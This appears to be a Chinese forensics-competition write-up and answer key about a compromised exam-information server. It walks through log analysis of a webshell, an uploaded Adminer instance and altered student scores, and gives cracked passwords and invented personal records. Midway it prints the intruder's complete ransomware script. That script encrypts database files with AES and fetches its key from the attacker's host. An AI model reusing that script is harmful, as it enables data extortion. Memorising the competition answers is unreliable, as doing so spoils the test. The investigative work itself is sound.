个人赛
个人赛容器密码
BDH sha256全大写
A94686C845696F88525BB9E74FD7F5D38B6C12F7DDC7E5288C2F2D2201151F47
括号内表示该答案也可得分。26-30题每题4分,其余题目每题2分。
服务器部分
2021年5月 (对时间要敏感,做题时要摸清案情,摸清案情何作案动机能,厘清攻击路线。),接某考试信息中心报案称,其单位一存储考生个人信息的服务器疑似被入侵,数据库被破坏并勒索比特币,警方当即固定了服务器的镜像server.e01。经调查警方抓获了嫌疑人并对其使用的笔记本电脑只做了镜像PC.e01,请对两个检材进行分析,并回答下面的问题:
1. 镜像sever.e01对应的被入侵服务器源盘sha256为
98C53B2AC30758EF0977FC313D5D1A070EBF51AE09E删除线格式 0DF36664A5CCF81DF35C5
2. 服务器操作系统内核版本为3.10.0-957.el7.x86_64
3. 服务器配置的网关为192.168.232.2
如果没有看到这个这个网关地址,点击左上角的设置列,弘连默认不展示所有列,像一些基础信息觉得应该能直接取到但是没有的可以到这个地方看看是否没点显示
4. 服务器中有2个登录过的账号
5. 服务器中root账号的密码为nb7001
导出/etc/目录下的shadow文件,进行破解
使用john工具cpu全速跑了很久才跑出来
个人喜欢用john
建议直接学习使用hashcat调用gpu来爆破
但是这么爆破总不是办法,在后面pc检材分析完之后,有很多途径可以很轻松获取到这个登陆密码,但是题目只做到当前这的进度时是很难获取到这样的信息的,所以这就是先对整套题目进行分析,厘清攻击路径攻击意图的重要性,可能有同学会觉得这样会花费很多时间去做一些没有必要的分析,但是实际上比直接硬找会快很多。
6. 入侵者IP为192.168.232.150
五月份发现被入侵并报警,查看该时段登录记录,异常信息。
整体分析
前面的基本上都是相当于是需要固定的基本信息,基本上都能直接找到,做到这题是需要一定分析才能做的题目了。接下来先不看题目,先对服务器进行分析,找到攻击路径,重建网站数据库等,再来逐题看题目,这样不会被题目牵着走,没思路的时候再来看题目是什么方向的。
历史记录里可以看到安装了pip3 install cryptodemo 这个库
删除过历史和日志
这里执行了一个加密的python脚本,先留个心眼,等题目做到再仔细分析
安装了好多库
仿真起
在这里发现加密提示,lnmp-install.log说明这个站可能是lnmp搭建的
可以看到有很多网站,将服务起一下,简单看一下网站
在这里找到一个备份脚本,应该有定时执行的设定,下一步去查看定时任务
这里找到路径,可以看到是个定时任务每五分钟执行一次backuplog.sh
接下来再看一下备份目录,使用xftp发现没啥东西,但是备份日志里确实显示这个是个备份目录,这就是xftp工具的局限性,修改还是比较方便的,但是隐藏文件是不显示的
我们使用命令查看一下
后期我们可以设置显示隐藏文件,就可以看到隐藏文件了
可以看到很多日志,将日志导出,进行分析
所有的历史记录都是相同的,这个备份中没有有效信息,查看一下登录日志
放到随便一个目录下,last解析一下
也解析一下,也没什么东西
再看一下各个网站
将各个网站的域名加入本地hosts文件
打开浏览各个网站,至此我们尚未发现攻击路径,感觉网站起的不太对,再查看一下网站nginx 的配置文件
只有默认站点
再找一下vhost下的配置文件,没有东西
Nginx目录下发现了配置文件中nginx服务只指向了一个目录就是/home/wwwroot/mhedu.sh.cn,所以之前对hosts文件加这么多设置访问到的也都是同一个站点
可以从之前备份中的历史命令记录也可以体现
在操作历史记录中,入侵者查看了一下网卡信息,查看了一下最近登录,查看了一下数据库配置文件,查看了一下网站配置文件,发现网站也是在这个mhedu.sh.cn的文件下,所以直接进去查看了,后面还做了脱库的操作
接下来可以分析一下web应用的日志
可以先放工具跑一遍,有一个整体印象,但是我一般都是自己先肉眼对整个日志文件看一遍,实在看不过来再用工具,大家平时练习也是练习自己审计为主,同时兼顾工具的熟练运用,比赛的时候以快为主,工具做出不来手工也要会。
可以很快的看到这里images2下面有个1.php,非常异常,对于攻击路径而言,很可能是上传的一句话木马。
还可以看到有很多对adminer的操作
Adminer是一个基于php的数据库管理工具,所以等下对这个文件的操作也要着重分析,通过日志工具分析我们发现1.php和adminer.php两个需要关注的点,然后考虑adminer是否是网站自带还是黑客传上去的,如果是黑客上传的也可以认为是一个大马
可以看到以这里为分界线,前面都是192.168.232.1的访问记录,UA头为"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
后面的为192.168.232.150的访问记录,UA头为"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
直观上的感受是前面日志排列的相对密集,后面的有一定的间隔。而且后面对木马操作的IP为192.168.232.150,结合登陆记录中root也有从192.168.232.150登陆过,可以断定入侵的IP之一肯定是192.168.232.150。
从这里开始往后审计192.168.232.150的操作
这看到前期没有上传的操作,全是get,get 1.php之后马上开始用post开始操作,可以看到上方的文本比较密集,因为我已经将上面的UserAgent都已经删除了,但是下面文本比较稀疏,是因为出现了新的UA头,和上面的不一样,无法替换到,可以猜测下面的POST操作都是使用像菜刀、蚁剑、冰蝎这样的webshell管理工具实现的。冰蝎3.0 流量特征分析 附特征 - 知乎 (zhihu.com)
后面的流量也看不出来什么,毕竟没有过程,但是后面shell操作结束后突然对adminer继续操作,且后面的UA头是之前的UA头,最后一个POST包的大小是7781,合理怀疑这个adminer是这个包传上去的
接下来对adminer的操作进行分析
接下来按照其手法,对仿真起来的网站里的adminer登录进行查看修改的这些数值,推测一次POST对应一次修改
192.168.232.150 - - [04/May/2021:15:48:36 +0800] "GET /adminer.php HTTP/1.1" 200 1652 "-"
192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=default.css&version=4.1.0&driver=mysql HTTP/1.1" 200 2194 "http://192.168.232.148/adminer.php"
192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=functions.js&version=4.1.0&driver=mysql HTTP/1.1" 200 8150 "http://192.168.232.148/adminer.php"
192.168.232.150 - - [04/May/2021:15:48:38 +0800] "GET /adminer.php?file=favicon.ico&version=4.1.0&driver=mysql HTTP/1.1" 200 330 "-"
192.168.232.150 - - [04/May/2021:15:49:23 +0800] "POST /adminer.php HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php" ##可能为登录
192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?server=localhost&username=root&db=studient HTTP/1.1" 200 3192 "http://192.168.232.148/adminer.php" ##用户为root,数据库为studient
192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?file=jush.js&version=4.1.0&driver=mysql HTTP/1.1" 200 13475 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient"
192.168.232.150 - - [04/May/2021:15:49:24 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&script=db HTTP/1.1" 200 204 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient"
192.168.232.150 - - [04/May/2021:15:49:31 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&table=score HTTP/1.1" 200 2295 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient"
192.168.232.150 - - [04/May/2021:15:53:45 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10458 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&table=score"
192.168.232.150 - - [04/May/2021:15:54:09 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 98946 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score"
192.168.232.150 - - [04/May/2021:16:35:32 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4645 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=张晓&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4658 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=赵天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=张晓&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:43 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10460 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=赵天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:37:37 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10458 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" 192.168.232.150 - - [04/May/2021:16:37:50 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 200 2685 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:10 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:11 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10734 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564192.168.232.150 - - [04/May/2021:16:38:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 200 2685 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:17 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538
##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:17 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10743 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538192.168.232.150 - - [04/May/2021:16:38:20 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 200 2691 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:22 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:22 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10729 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ## http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539192.168.232.150 - - [04/May/2021:16:38:37 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10467 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" 192.168.232.150 - - [04/May/2021:16:39:38 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:39 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 11051 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:48 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:48 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10794 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:52 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4" 192.168.232.150 - - [04/May/2021:16:39:52 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&page=4 HTTP/1.1" 200 10783 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&page=4"
不知道密码,找数据库配置文件,
这样还找不到用
find / -name *database*
find / -name *db*
这样的话找到内容就会比较多,需要细细分辨哪个是网站的数据库配置文件
登录adminer
数据库中已经没有表了
去找到加密文件
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import time
import requests
import sysdef discover_files(startpath):#判断后缀名,加密以下类型的后缀名的文件extensions = ['db', 'sql', 'dbf', 'mdb', 'opt', 'frm', 'ibd']for dirpath, dirs, files in os.walk(startpath):for i in files:absolute_path = os.path.abspath(os.path.join(dirpath, i))ext = absolute_path.split('.')[-1]if ext in extensions:yield absolute_pathdef modify_file_inplace(filename, crypto, key, blocksize=4096):#加密文件的逻辑with open(filename, 'r+b') as f:plaintext = f.read(blocksize)while plaintext:if len(plaintext) < blocksize:padtext = pad(plaintext, AES.block_size, style='pkcs7')ciphertext = crypto(padtext)else:ciphertext = crypto(plaintext)f.seek(-len(plaintext), 1)f.write(ciphertext)plaintext = f.read(blocksize)def get_machine_id():#读取machine-idwith open('/etc/machine-id', 'r') as f:return f.readline().strip()def get_time():#读取当前时间return time.strftime("%Y%m%d%H%M", time.localtime()) def get_key(path, machine_id, time):#将读取到的machine-id和当前时间发给这个IP(攻击者IP),接受返回值res = requests.post(url = 'http://192.168.232.150:5000/key/{0}'.format(machine_id),json = { 'path' : path,'time': time})return res.textdef main():#主函数if len(sys.argv) != 2:#判断传入参数,如果传入参数不等于2就退出,第一个参数就是sys.argv[0]代表python3 CRY.py ./studient/中的CRY.pyexit()path = sys.argv[1]#那么sys.argv[1]就是./studient/,将./studient/传入path变量中key = get_key(path, get_machine_id(), get_time())#调用get_key函数获取密钥cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))for file in discover_files(path):modify_file_inplace(file, cipher.encrypt, key=key.encode('ascii'))#实现加密算法逻辑os.rename(file, file+'.CRY')#给文件名后缀加上.CRYprint(file, 'encrypted.')#打印输出某某文件已加密if __name__=="__main__":main()
那么我们因为不知道当时的时间,使用这个作为线索,可能要到黑客的电脑中寻找,找到后再编写解密脚本。
7. 入侵者首次登录成功时间为15:01:08(14:57:17)(14:59:21)(格式要求:HH:MM:SS,如14:03:27)
这个我也找了半天,登录时间到底指什么,也是基于再pc上找到的这张爆破成功截图,开始爆破时间是14:57:14,随后马上爆破成功了基于这个时间查找linux首次成功登陆时间,所以第一次成功登录应该是这个时间之后的第一次成功登录时间。
找到该时段的日志
攻击是发生在5月4日14:57:14之后,查找这个时间段的登录日志、认证日志、安全日志等。
早期unix 在/usr/adm
较新版本 在/var/adm
solaris&linux&bsd 在 /var/log
lastlog:近期成功登陆记录
loginlog:不良的登陆尝试记录
messages:记录输出到系统主控台以及由syslog系统服务程序产生的消息、
utmp:记录当前登陆的每个用户
utmpx:拓展的utmp
wtmp:记录每一次用户登陆和注销的历史信息 last -f /var/log/wtmp
vold.log:使用外部介质出现的错误
xferkig:记录ftp的存取情况
sulog:记录su命令的使用情况
acct:记录每个用户使用过的命令
last:/var/log/secure 最后登录
1、安全日志 /var/log/secure
作用:安全日志secure包含验证和授权方面信息
分析:是否有IP爆破成功
2、用户信息 /etc/passwd
内容含义:注册名、口令、用户标识号、组标识号、用户名、用户主目录、命令解释程序
分析:是否存在攻击者创建的恶意用户
3、命令执行记录 ~/.bash_history
作用:命令执行记录 ~/.bash_history
分析:是否有账户执行过恶意操作系统命令
4、root邮箱 /var/spool/mail/root
作用:root邮箱 /var/spool/mail/root
分析:root邮箱的一个文件,在该文件中包含大量信息,
当日志被删除可查询本文件
5、中间件日志(Web日志access_log)
nginx、apache、tomcat、jboss、weblogic、websphere作用:
记录访问信息分析:请求次数过大,访问敏感路径的IP位置:/var/log下 access.log文件(apache默认
位置)
位置:/var/log/nginx下 access名称日志(nginx日志位置)
位置:tomcat、weblogic等日志均存放在安装路径下logs文件下
访问日志结构:访问IP---时间---请求方式---请求路径---请求协议----请求状态---字节数
6.登陆日志(可直接使用命令调取该信息,对应命令last/lastb)
位置:/var/log/wtmp #成功连接的IP信息
位置:/var/log/btmp #连接失败的IP信息
7.cron(定制任务日志)日志
位置:/var/log/cron
作用:查看历史计划任务(对该文件进行分析调取恶意病毒执行的计划任务,获取准确时间)
8、history
日志位置:~/.bash_history
作用:操作命令记录,可筛查攻击者执行命令信息
9、其他日志
redis、sql server、mysql、oracle等
作用:记录访问信息分析:敏感操作
这里在,虽然题解显得很简单,但是实际解题上还是需要花费很大的时间精力的。
可以看到在14:57:17这个时间爆破工具成功登录了,然后马上又断开连接了。
8. 入侵者设置了1个定时任务
9. 定时任务将大量日志文件转存至/tmp/backup-log/(backup-log)目录
10. 服务器的网站目录及子目录中,共存在2(1)个webshell
基于前面的分析,1.php肯定为一个webshell,个人没有把adminer.php算上,adminer也是黑客上传的,adminer虽然是正经应用,但是从入侵角度来看就是一个数据库的大马,可以算为webshell。出于验证考虑,将网站源码导出,使用D盾等webshell扫描工具扫描其中的webshell。
共发现1个可能的webshell
11. 数据库账号为root,密码为nb250250
12. 数据库版本号为5.5.62
13. 嫌疑人入侵服务器后,在数据库中共修改了3个学生的分数
这里从先前的日志中,可以判断,对学生执行了三个post语句,
192.168.232.150 - - [04/May/2021:16:38:10 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177884&where%5Bname%5D=%E8%83%A1%E9%87%91%E4%BF%9D&where%5Btel%5D=13122787578&where%5Bidcard%5D=341202200402111723&where%5Bscore%5D=564" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177884&where[name]=胡金保&where[tel]=13122787578&where[idcard]=341202200402111723&where[score]=564
192.168.232.150 - - [04/May/2021:16:38:17 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20176743&where%5Bname%5D=%E9%87%91%E5%96%86%E6%98%8A&where%5Btel%5D=52856616&where%5Bidcard%5D=310107200511295728&where%5Bscore%5D=538" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538
##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20176743&where[name]=金喆昊&where[tel]=52856616&where[idcard]=310107200511295728&where[score]=538
192.168.232.150 - - [04/May/2021:16:38:22 +0800] "POST /adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539 HTTP/1.1" 302 5 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where%5Bid%5D=20177641&where%5Bname%5D=%E8%8C%83%E8%AF%97%E6%80%A1&where%5Btel%5D=13611843060&where%5Bidcard%5D=310107200310040411&where%5Bscore%5D=539" ##/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&edit=score&where[id]=20177641&where[name]=范诗怡&where[tel]=13611843060&where[idcard]=310107200310040411&where[score]=539
对胡金保、金喆昊、范诗怡的数值进行了post,而前面的赵天歌和张晓并没有进行post操作。这里我们还不能确定其具体修改了几个人的数据,只能有个印象,重点关注这3个。
192.168.232.150 - - [04/May/2021:16:35:32 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4645 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=张晓&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:14 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100 HTTP/1.1" 200 4658 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E5%BC%A0%E6%99%93&where%5B01%5D%5Bcol%5D=&where%5B01%5D%5Bop%5D=%3D&where%5B01%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" ##/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=赵天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=张晓&where[01][col]=&where[01][op]==&where[01][val]=&order[0]=&limit=50&text_length=100192.168.232.150 - - [04/May/2021:16:36:43 +0800] "GET /adminer.php?server=localhost&username=root&db=studient&select=score HTTP/1.1" 200 10460 "http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns%5B0%5D%5Bfun%5D=&columns%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bcol%5D=&where%5B0%5D%5Bop%5D=%3D&where%5B0%5D%5Bval%5D=%E8%B5%B5%E5%A4%A9%E6%AD%8C&where%5B2%5D%5Bcol%5D=&where%5B2%5D%5Bop%5D=%3D&where%5B2%5D%5Bval%5D=&order%5B0%5D=&limit=50&text_length=100" 